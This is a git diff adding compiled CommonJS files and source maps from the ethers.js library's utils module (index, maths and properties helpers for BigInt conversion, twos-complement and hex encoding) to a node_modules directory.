+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/utils/index.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAEzD,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAEzD,OAAO,EACH,QAAQ,EAAE,YAAY,EAAE,WAAW,EAAE,WAAW,EAAE,OAAO,EAAE,MAAM,EAAE,UAAU,EAAE,SAAS,EACxF,cAAc,EAAE,YAAY,EAAE,YAAY,EAC7C,MAAM,WAAW,CAAC;AAEnB,OAAO,EACH,eAAe,EAAE,OAAO,EACxB,MAAM,EAAE,cAAc,EAAE,mBAAmB,EAAE,aAAa,EAAE,eAAe,EAAE,SAAS,EACzF,MAAM,aAAa,CAAA;AAEpB,OAAO,EAAE,YAAY,EAAE,MAAM,aAAa,CAAC;AAE3C,OAAO,EACH,YAAY,EAAE,aAAa,EAAE,iBAAiB,GACjD,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAA;AAE9C,OAAO,EACH,QAAQ,EAAE,MAAM,EAAE,IAAI,EACtB,SAAS,EAAE,SAAS,EAAE,OAAO,EAAE,QAAQ,EAAE,QAAQ,EAAE,OAAO,EAAE,SAAS,EAAE,UAAU,EACpF,MAAM,YAAY,CAAC;AAEpB,OAAO,EAAE,iBAAiB,EAAE,gBAAgB,EAAC,MAAM,iBAAiB,CAAC;AAErE,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAC5C,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAE5C,OAAO,EAAE,WAAW,EAAE,UAAU,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAE9E,OAAO,EACH,WAAW,EACX,gBAAgB,EAChB,YAAY,EAEZ,cAAc,GACjB,MAAM,WAAW,CAAC;AAEnB,OAAO,EAAE,MAAM,EAAE,MAAM,WAAW,CAAC;AAKnC,YAAY,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AAE3C,YAAY,EAKR,SAAS,EAET,WAAW,EAAE,YAAY,EAAE,mBAAmB,EAAE,yBAAyB,EAAE,YAAY,EACvF,WAAW,EAAE,YAAY,EAAE,YAAY,EAAE,cAAc,EAAE,kBAAkB,EAC3E,iBAAiB,EAAE,oBAAoB,EAAE,oBAAoB,EAAE,uBAAuB,EACtF,kBAAkB,EAAE,sBAAsB,EAAE,iBAAiB,EAAE,kBAAkB,EACjF,2BAA2B,EAAE,wBAAwB,EAAE,qBAAqB,EAC5E,mBAAmB,EAEnB,mBAAmB,EAAE,wBAAwB,EAE7C,gBAAgB,EACnB,MAAM,aAAa,CAAA;AAEpB,YAAY,EAAE,gBAAgB,EAAE,QAAQ,EAAE,MAAM,aAAa,CAAC;AAE9D,YAAY,EACR,cAAc,EACd,kBAAkB,EAAE,gBAAgB,EAAE,cAAc,EACpD,gBAAgB,EAAE,eAAe,EACpC,MAAM,YAAY,CAAC;AAEpB,YAAY,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAA;AAEnD,YAAY,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAExD,YAAY,EAAE,iBAAiB,EAAE,oBAAoB,EAAE,MAAM,UAAU,CAAC;AAExE,YAAY,EACR,aAAa,EACb,wBAAwB,EACxB,eAAe,EAClB,MAAM,WAAW,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/index.js b/node_modules/ethers/lib.commonjs/utils/index.js new file mode 100644 index 000000000000..333cecfe2de6 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/index.js @@ -0,0 +1,78 @@ +"use strict"; +/** + * There are many simple utilities required to interact with + * Ethereum and to simplify the library, without increasing + * the library dependencies for simple functions. + * + * @_section api/utils:Utilities [about-utils] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.toUtf8String = exports.toUtf8CodePoints = exports.toUtf8Bytes = exports.parseUnits = exports.formatUnits = exports.parseEther = exports.formatEther = exports.encodeRlp = exports.decodeRlp = exports.defineProperties = exports.resolveProperties = exports.toQuantity = exports.toBeArray = exports.toBeHex = exports.toNumber = exports.toBigInt = exports.getUint = exports.getNumber = exports.getBigInt = exports.mask = exports.toTwos = exports.fromTwos = exports.FixedNumber = exports.FetchCancelSignal = exports.FetchResponse = exports.FetchRequest = exports.EventPayload = exports.makeError = exports.assertNormalize = exports.assertPrivate = exports.assertArgumentCount = exports.assertArgument = exports.assert = exports.isError = exports.isCallException = exports.zeroPadBytes = exports.zeroPadValue = exports.stripZerosLeft = exports.dataSlice = exports.dataLength = exports.concat = exports.hexlify = exports.isBytesLike = exports.isHexString = exports.getBytesCopy = exports.getBytes = exports.encodeBase64 = exports.decodeBase64 = exports.encodeBase58 = exports.decodeBase58 = void 0; +exports.uuidV4 = exports.Utf8ErrorFuncs = void 0; +var base58_js_1 = require("./base58.js"); +Object.defineProperty(exports, "decodeBase58", { enumerable: true, get: function () { return base58_js_1.decodeBase58; } }); +Object.defineProperty(exports, "encodeBase58", { enumerable: true, get: function () { return base58_js_1.encodeBase58; } }); +var base64_js_1 = require("./base64.js"); +Object.defineProperty(exports, "decodeBase64", { enumerable: true, get: function () { return base64_js_1.decodeBase64; } }); +Object.defineProperty(exports, "encodeBase64", { enumerable: true, get: function () { return base64_js_1.encodeBase64; } }); +var data_js_1 = require("./data.js"); +Object.defineProperty(exports, "getBytes", { enumerable: true, get: function () { return data_js_1.getBytes; } }); +Object.defineProperty(exports, "getBytesCopy", { enumerable: true, get: function () { return data_js_1.getBytesCopy; } }); +Object.defineProperty(exports, "isHexString", { enumerable: true, get: function () { return data_js_1.isHexString; } }); +Object.defineProperty(exports, "isBytesLike", { enumerable: true, get: function () { return data_js_1.isBytesLike; } }); +Object.defineProperty(exports, "hexlify", { enumerable: true, get: function () { return data_js_1.hexlify; } }); +Object.defineProperty(exports, "concat", { enumerable: true, get: function () { return data_js_1.concat; } }); +Object.defineProperty(exports, "dataLength", { enumerable: true, get: function () { return data_js_1.dataLength; } }); +Object.defineProperty(exports, "dataSlice", { enumerable: true, get: function () { return data_js_1.dataSlice; } }); +Object.defineProperty(exports, "stripZerosLeft", { enumerable: true, get: function () { return data_js_1.stripZerosLeft; } }); +Object.defineProperty(exports, "zeroPadValue", { enumerable: true, get: function () { return data_js_1.zeroPadValue; } }); +Object.defineProperty(exports, "zeroPadBytes", { enumerable: true, get: function () { return data_js_1.zeroPadBytes; } }); +var errors_js_1 = require("./errors.js"); +Object.defineProperty(exports, "isCallException", { enumerable: true, get: function () { return errors_js_1.isCallException; } }); +Object.defineProperty(exports, "isError", { enumerable: true, get: function () { return errors_js_1.isError; } }); +Object.defineProperty(exports, "assert", { enumerable: true, get: function () { return errors_js_1.assert; } }); +Object.defineProperty(exports, "assertArgument", { enumerable: true, get: function () { return errors_js_1.assertArgument; } }); +Object.defineProperty(exports, "assertArgumentCount", { enumerable: true, get: function () { return errors_js_1.assertArgumentCount; } }); +Object.defineProperty(exports, "assertPrivate", { enumerable: true, get: function () { return errors_js_1.assertPrivate; } }); +Object.defineProperty(exports, "assertNormalize", { enumerable: true, get: function () { return errors_js_1.assertNormalize; } }); +Object.defineProperty(exports, "makeError", { enumerable: true, get: function () { return errors_js_1.makeError; } }); +var events_js_1 = require("./events.js"); +Object.defineProperty(exports, "EventPayload", { enumerable: true, get: function () { return events_js_1.EventPayload; } }); +var fetch_js_1 = require("./fetch.js"); +Object.defineProperty(exports, "FetchRequest", { enumerable: true, get: function () { return fetch_js_1.FetchRequest; } }); +Object.defineProperty(exports, "FetchResponse", { enumerable: true, get: function () { return fetch_js_1.FetchResponse; } }); +Object.defineProperty(exports, "FetchCancelSignal", { enumerable: true, get: function () { return fetch_js_1.FetchCancelSignal; } }); +var fixednumber_js_1 = require("./fixednumber.js"); +Object.defineProperty(exports, "FixedNumber", { enumerable: true, get: function () { return fixednumber_js_1.FixedNumber; } }); +var maths_js_1 = require("./maths.js"); +Object.defineProperty(exports, "fromTwos", { enumerable: true, get: function () { return maths_js_1.fromTwos; } }); +Object.defineProperty(exports, "toTwos", { enumerable: true, get: function () { return maths_js_1.toTwos; } }); +Object.defineProperty(exports, "mask", { enumerable: true, get: function () { return maths_js_1.mask; } }); +Object.defineProperty(exports, "getBigInt", { enumerable: true, get: function () { return maths_js_1.getBigInt; } }); +Object.defineProperty(exports, "getNumber", { enumerable: true, get: function () { return maths_js_1.getNumber; } }); +Object.defineProperty(exports, "getUint", { enumerable: true, get: function () { return maths_js_1.getUint; } }); +Object.defineProperty(exports, "toBigInt", { enumerable: true, get: function () { return maths_js_1.toBigInt; } }); +Object.defineProperty(exports, "toNumber", { enumerable: true, get: function () { return maths_js_1.toNumber; } }); +Object.defineProperty(exports, "toBeHex", { enumerable: true, get: function () { return maths_js_1.toBeHex; } }); +Object.defineProperty(exports, "toBeArray", { enumerable: true, get: function () { return maths_js_1.toBeArray; } }); +Object.defineProperty(exports, "toQuantity", { enumerable: true, get: function () { return maths_js_1.toQuantity; } }); +var properties_js_1 = require("./properties.js"); +Object.defineProperty(exports, "resolveProperties", { enumerable: true, get: function () { return properties_js_1.resolveProperties; } }); +Object.defineProperty(exports, "defineProperties", { enumerable: true, get: function () { return properties_js_1.defineProperties; } }); +var rlp_decode_js_1 = require("./rlp-decode.js"); +Object.defineProperty(exports, "decodeRlp", { enumerable: true, get: function () { return rlp_decode_js_1.decodeRlp; } }); +var rlp_encode_js_1 = require("./rlp-encode.js"); +Object.defineProperty(exports, "encodeRlp", { enumerable: true, get: function () { return rlp_encode_js_1.encodeRlp; } }); +var units_js_1 = require("./units.js"); +Object.defineProperty(exports, "formatEther", { enumerable: true, get: function () { return units_js_1.formatEther; } }); +Object.defineProperty(exports, "parseEther", { enumerable: true, get: function () { return units_js_1.parseEther; } }); +Object.defineProperty(exports, "formatUnits", { enumerable: true, get: function () { return units_js_1.formatUnits; } }); +Object.defineProperty(exports, "parseUnits", { enumerable: true, get: function () { return units_js_1.parseUnits; } }); +var utf8_js_1 = require("./utf8.js"); +Object.defineProperty(exports, "toUtf8Bytes", { enumerable: true, get: function () { return utf8_js_1.toUtf8Bytes; } }); +Object.defineProperty(exports, "toUtf8CodePoints", { enumerable: true, get: function () { return utf8_js_1.toUtf8CodePoints; } }); +Object.defineProperty(exports, "toUtf8String", { enumerable: true, get: function () { return utf8_js_1.toUtf8String; } }); +Object.defineProperty(exports, "Utf8ErrorFuncs", { enumerable: true, get: function () { return utf8_js_1.Utf8ErrorFuncs; } }); +var uuid_js_1 = require("./uuid.js"); +Object.defineProperty(exports, "uuidV4", { enumerable: true, get: function () { return uuid_js_1.uuidV4; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/index.js.map b/node_modules/ethers/lib.commonjs/utils/index.js.map new file mode 100644 index 000000000000..ff401aab2c3c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/utils/index.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;;;AAEH,yCAAyD;AAAhD,yGAAA,YAAY,OAAA;AAAE,yGAAA,YAAY,OAAA;AAEnC,yCAAyD;AAAhD,yGAAA,YAAY,OAAA;AAAE,yGAAA,YAAY,OAAA;AAEnC,qCAGmB;AAFf,mGAAA,QAAQ,OAAA;AAAE,uGAAA,YAAY,OAAA;AAAE,sGAAA,WAAW,OAAA;AAAE,sGAAA,WAAW,OAAA;AAAE,kGAAA,OAAO,OAAA;AAAE,iGAAA,MAAM,OAAA;AAAE,qGAAA,UAAU,OAAA;AAAE,oGAAA,SAAS,OAAA;AACxF,yGAAA,cAAc,OAAA;AAAE,uGAAA,YAAY,OAAA;AAAE,uGAAA,YAAY,OAAA;AAG9C,yCAGoB;AAFhB,4GAAA,eAAe,OAAA;AAAE,oGAAA,OAAO,OAAA;AACxB,mGAAA,MAAM,OAAA;AAAE,2GAAA,cAAc,OAAA;AAAE,gHAAA,mBAAmB,OAAA;AAAE,0GAAA,aAAa,OAAA;AAAE,4GAAA,eAAe,OAAA;AAAE,sGAAA,SAAS,OAAA;AAG1F,yCAA2C;AAAlC,yGAAA,YAAY,OAAA;AAErB,uCAEoB;AADhB,wGAAA,YAAY,OAAA;AAAE,yGAAA,aAAa,OAAA;AAAE,6GAAA,iBAAiB,OAAA;AAGlD,mDAA8C;AAArC,6GAAA,WAAW,OAAA;AAEpB,uCAGoB;AAFhB,oGAAA,QAAQ,OAAA;AAAE,kGAAA,MAAM,OAAA;AAAE,gGAAA,IAAI,OAAA;AACtB,qGAAA,SAAS,OAAA;AAAE,qGAAA,SAAS,OAAA;AAAE,mGAAA,OAAO,OAAA;AAAE,oGAAA,QAAQ,OAAA;AAAE,oGAAA,QAAQ,OAAA;AAAE,mGAAA,OAAO,OAAA;AAAE,qGAAA,SAAS,OAAA;AAAE,sGAAA,UAAU,OAAA;AAGrF,iDAAqE;AAA5D,kHAAA,iBAAiB,OAAA;AAAE,iHAAA,gBAAgB,OAAA;AAE5C,iDAA4C;AAAnC,0GAAA,SAAS,OAAA;AAClB,iDAA4C;AAAnC,0GAAA,SAAS,OAAA;AAElB,uCAA8E;AAArE,uGAAA,WAAW,OAAA;AAAE,sGAAA,UAAU,OAAA;AAAE,uGAAA,WAAW,OAAA;AAAE,sGAAA,UAAU,OAAA;AAEzD,qCAMmB;AALf,sGAAA,WAAW,OAAA;AACX,2GAAA,gBAAgB,OAAA;AAChB,uGAAA,YAAY,OAAA;AAEZ,yGAAA,cAAc,OAAA;AAGlB,qCAAmC;AAA1B,iGAAA,MAAM,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/maths.d.ts b/node_modules/ethers/lib.commonjs/utils/maths.d.ts new file mode 100644 index 000000000000..661f0dfd1993 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/maths.d.ts @@ -0,0 +1,66 @@ +import type { BytesLike } from "./data.js"; +/** + * Any type that can be used where a numeric value is needed. + */ +export type Numeric = number | bigint; +/** + * Any type that can be used where a big number is needed. + */ +export type BigNumberish = string | Numeric; +/** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ +export declare function fromTwos(_value: BigNumberish, _width: Numeric): bigint; +/** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ +export declare function toTwos(_value: BigNumberish, _width: Numeric): bigint; +/** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ +export declare function mask(_value: BigNumberish, _bits: Numeric): bigint; +/** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ +export declare function getBigInt(value: BigNumberish, name?: string): bigint; +/** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ +export declare function getUint(value: BigNumberish, name?: string): bigint; +export declare function toBigInt(value: BigNumberish | Uint8Array): bigint; +/** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ +export declare function getNumber(value: BigNumberish, name?: string): number; +/** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ +export declare function toNumber(value: BigNumberish | Uint8Array): number; +/** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ +export declare function toBeHex(_value: BigNumberish, _width?: Numeric): string; +/** + * Converts %%value%% to a Big Endian Uint8Array. + */ +export declare function toBeArray(_value: BigNumberish): Uint8Array; +/** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ +export declare function toQuantity(value: BytesLike | BigNumberish): string; +//# sourceMappingURL=maths.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/maths.d.ts.map b/node_modules/ethers/lib.commonjs/utils/maths.d.ts.map new file mode 100644 index 000000000000..626b19a407ec --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/maths.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"maths.d.ts","sourceRoot":"","sources":["../../src.ts/utils/maths.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AAE3C;;GAEG;AACH,MAAM,MAAM,OAAO,GAAG,MAAM,GAAG,MAAM,CAAC;AAEtC;;GAEG;AACH,MAAM,MAAM,YAAY,GAAG,MAAM,GAAG,OAAO,CAAC;AAY5C;;;;;GAKG;AACH,wBAAgB,QAAQ,CAAC,MAAM,EAAE,YAAY,EAAE,MAAM,EAAE,OAAO,GAAG,MAAM,CAetE;AAED;;;;;GAKG;AACH,wBAAgB,MAAM,CAAC,MAAM,EAAE,YAAY,EAAE,MAAM,EAAE,OAAO,GAAG,MAAM,CAoBpE;AAED;;GAEG;AACH,wBAAgB,IAAI,CAAC,MAAM,EAAE,YAAY,EAAE,KAAK,EAAE,OAAO,GAAG,MAAM,CAIjE;AAED;;;GAGG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,YAAY,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,MAAM,CAmBpE;AAED;;;GAGG;AACH,wBAAgB,OAAO,CAAC,KAAK,EAAE,YAAY,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,MAAM,CAMlE;AAQD,wBAAgB,QAAQ,CAAC,KAAK,EAAE,YAAY,GAAG,UAAU,GAAG,MAAM,CAWjE;AAED;;;GAGG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,YAAY,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,MAAM,CAkBpE;AAGD;;;GAGG;AACH,wBAAgB,QAAQ,CAAC,KAAK,EAAE,YAAY,GAAG,UAAU,GAAG,MAAM,CAEjE;AAED;;;GAGG;AACH,wBAAgB,OAAO,CAAC,MAAM,EAAE,YAAY,EAAE,MAAM,CAAC,EAAE,OAAO,GAAG,MAAM,CAsBtE;AAED;;GAEG;AACH,wBAAgB,SAAS,CAAC,MAAM,EAAE,YAAY,GAAG,UAAU,CAe1D;AAED;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,SAAS,GAAG,YAAY,GAAG,MAAM,CAKlE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/maths.js b/node_modules/ethers/lib.commonjs/utils/maths.js new file mode 100644 index 000000000000..6ceb9fb98aa3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/maths.js @@ -0,0 +1,229 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.toQuantity = exports.toBeArray = exports.toBeHex = exports.toNumber = exports.getNumber = exports.toBigInt = exports.getUint = exports.getBigInt = exports.mask = exports.toTwos = exports.fromTwos = void 0; +/** + * Some mathematic operations. + * + * @_subsection: api/utils:Math Helpers [about-maths] + */ +const data_js_1 = require("./data.js"); +const errors_js_1 = require("./errors.js"); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +//const BN_Max256 = (BN_1 << BigInt(256)) - BN_1; +// IEEE 754 support 53-bits of mantissa +const maxValue = 0x1fffffffffffff; +/** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ +function fromTwos(_value, _width) { + const value = getUint(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + (0, errors_js_1.assert)((value >> width) === BN_0, "overflow", "NUMERIC_FAULT", { + operation: "fromTwos", fault: "overflow", value: _value + }); + // Top bit set; treat as a negative value + if (value >> (width - BN_1)) { + const mask = (BN_1 << width) - BN_1; + return -(((~value) & mask) + BN_1); + } + return value; +} +exports.fromTwos = fromTwos; +/** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ +function toTwos(_value, _width) { + let value = getBigInt(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + const limit = (BN_1 << (width - BN_1)); + if (value < BN_0) { + value = -value; + (0, errors_js_1.assert)(value <= limit, "too low", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + const mask = (BN_1 << width) - BN_1; + return ((~value) & mask) + BN_1; + } + else { + (0, errors_js_1.assert)(value < limit, "too high", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + } + return value; +} +exports.toTwos = toTwos; +/** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ +function mask(_value, _bits) { + const value = getUint(_value, "value"); + const bits = BigInt(getNumber(_bits, "bits")); + return value & ((BN_1 << bits) - BN_1); +} +exports.mask = mask; +/** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ +function getBigInt(value, name) { + switch (typeof (value)) { + case "bigint": return value; + case "number": + (0, errors_js_1.assertArgument)(Number.isInteger(value), "underflow", name || "value", value); + (0, errors_js_1.assertArgument)(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return BigInt(value); + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + if (value[0] === "-" && value[1] !== "-") { + return -BigInt(value.substring(1)); + } + return BigInt(value); + } + catch (e) { + (0, errors_js_1.assertArgument)(false, `invalid BigNumberish string: ${e.message}`, name || "value", value); + } + } + (0, errors_js_1.assertArgument)(false, "invalid BigNumberish value", name || "value", value); +} +exports.getBigInt = getBigInt; +/** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ +function getUint(value, name) { + const result = getBigInt(value, name); + (0, errors_js_1.assert)(result >= BN_0, "unsigned value cannot be negative", "NUMERIC_FAULT", { + fault: "overflow", operation: "getUint", value + }); + return result; +} +exports.getUint = getUint; +const Nibbles = "0123456789abcdef"; +/* + * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. + */ +function toBigInt(value) { + if (value instanceof Uint8Array) { + let result = "0x0"; + for (const v of value) { + result += Nibbles[v >> 4]; + result += Nibbles[v & 0x0f]; + } + return BigInt(result); + } + return getBigInt(value); +} +exports.toBigInt = toBigInt; +/** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ +function getNumber(value, name) { + switch (typeof (value)) { + case "bigint": + (0, errors_js_1.assertArgument)(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return Number(value); + case "number": + (0, errors_js_1.assertArgument)(Number.isInteger(value), "underflow", name || "value", value); + (0, errors_js_1.assertArgument)(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return value; + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + return getNumber(BigInt(value), name); + } + catch (e) { + (0, errors_js_1.assertArgument)(false, `invalid numeric string: ${e.message}`, name || "value", value); + } + } + (0, errors_js_1.assertArgument)(false, "invalid numeric value", name || "value", value); +} +exports.getNumber = getNumber; +/** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ +function toNumber(value) { + return getNumber(toBigInt(value)); +} +exports.toNumber = toNumber; +/** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ +function toBeHex(_value, _width) { + const value = getUint(_value, "value"); + let result = value.toString(16); + if (_width == null) { + // Ensure the value is of even length + if (result.length % 2) { + result = "0" + result; + } + } + else { + const width = getNumber(_width, "width"); + (0, errors_js_1.assert)(width * 2 >= result.length, `value exceeds width (${width} bytes)`, "NUMERIC_FAULT", { + operation: "toBeHex", + fault: "overflow", + value: _value + }); + // Pad the value to the required width + while (result.length < (width * 2)) { + result = "0" + result; + } + } + return "0x" + result; +} +exports.toBeHex = toBeHex; +/** + * Converts %%value%% to a Big Endian Uint8Array. + */ +function toBeArray(_value) { + const value = getUint(_value, "value"); + if (value === BN_0) { + return new Uint8Array([]); + } + let hex = value.toString(16); + if (hex.length % 2) { + hex = "0" + hex; + } + const result = new Uint8Array(hex.length / 2); + for (let i = 0; i < result.length; i++) { + const offset = i * 2; + result[i] = parseInt(hex.substring(offset, offset + 2), 16); + } + return result; +} +exports.toBeArray = toBeArray; +/** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ +function toQuantity(value) { + let result = (0, data_js_1.hexlify)((0, data_js_1.isBytesLike)(value) ? value : toBeArray(value)).substring(2); + while (result.startsWith("0")) { + result = result.substring(1); + } + if (result === "") { + result = "0"; + } + return "0x" + result; +} +exports.toQuantity = toQuantity; +//# sourceMappingURL=maths.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/maths.js.map b/node_modules/ethers/lib.commonjs/utils/maths.js.map new file mode 100644 index 000000000000..d9d0e2a554aa --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/maths.js.map @@ -0,0 +1 @@ +{"version":3,"file":"maths.js","sourceRoot":"","sources":["../../src.ts/utils/maths.ts"],"names":[],"mappings":";;;AAAA;;;;GAIG;AACH,uCAAiD;AACjD,2CAAqD;AAerD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAEvB,iDAAiD;AAGjD,uCAAuC;AACvC,MAAM,QAAQ,GAAG,gBAAgB,CAAC;AAElC;;;;;GAKG;AACH,SAAgB,QAAQ,CAAC,MAAoB,EAAE,MAAe;IAC1D,MAAM,KAAK,GAAG,OAAO,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IACvC,MAAM,KAAK,GAAG,MAAM,CAAC,SAAS,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC,CAAC;IAEjD,IAAA,kBAAM,EAAC,CAAC,KAAK,IAAI,KAAK,CAAC,KAAK,IAAI,EAAE,UAAU,EAAE,eAAe,EAAE;QAC3D,SAAS,EAAE,UA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AAC,SAAS,CAAC,MAAM,EAAE,MAAM,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;KAC/D;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAfD,8BAeC;AAED;;;;;;GAMG;AACH,SAAgB,UAAU,CAAC,KAA+B;IACtD,IAAI,MAAM,GAAG,IAAA,iBAAO,EAAC,IAAA,qBAAW,EAAC,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAA,CAAC,CAAC,SAAS,CAAC,KAAK,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;IAChF,OAAO,MAAM,CAAC,UAAU,CAAC,GAAG,CAAC,EAAE;QAAE,MAAM,GAAG,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC;KAAE;IAChE,IAAI,MAAM,KAAK,EAAE,EAAE;QAAE,MAAM,GAAG,GAAG,CAAC;KAAE;IACpC,OAAO,IAAI,GAAG,MAAM,CAAC;AACzB,CAAC;AALD,gCAKC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/properties.d.ts b/node_modules/ethers/lib.commonjs/utils/properties.d.ts new file mode 100644 index 000000000000..9f0daadf35ec --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/properties.d.ts @@ -0,0 +1,23 @@ +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ +/** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ +export declare function resolveProperties(value: { + [P in keyof T]: T[P] | Promise; +}): Promise; +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +export declare function defineProperties(target: T, values: { + [K in keyof T]?: T[K]; +}, types?: { + [K in keyof T]?: string; +}): void; +//# sourceMappingURL=properties.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/properties.d.ts.map b/node_modules/ethers/lib.commonjs/utils/properties.d.ts.map new file mode 100644 index 000000000000..1ea819569782 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/properties.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"properties.d.ts","sourceRoot":"","sources":["../../src.ts/utils/properties.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAwBH;;;GAGG;AACH,wBAAsB,iBAAiB,CAAC,CAAC,EAAE,KAAK,EAAE;KAAI,CAAC,IAAI,MAAM,CAAC,GAAI,CAAC,CAAC,CAAC,CAAC,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;CAAC,GAAG,OAAO,CAAC,CAAC,CAAC,CAOvG;AAED;;;;GAIG;AACH,wBAAgB,gBAAgB,CAAC,CAAC,EACjC,MAAM,EAAE,CAAC,EACT,MAAM,EAAE;KAAI,CAAC,IAAI,MAAM,CAAC,CAAE,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;CAAE,EACnC,KAAK,CAAC,EAAE;KAAI,CAAC,IAAI,MAAM,CAAC,CAAE,CAAC,EAAE,MAAM;CAAE,GAAG,IAAI,CAU5C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/properties.js b/node_modules/ethers/lib.commonjs/utils/properties.js new file mode 100644 index 000000000000..a862d34458ea --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/properties.js @@ -0,0 +1,59 @@ +"use strict"; +/** + * Property helper functions. + * + * @_subsection api/utils:Properties [about-properties] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.defineProperties = exports.resolveProperties = 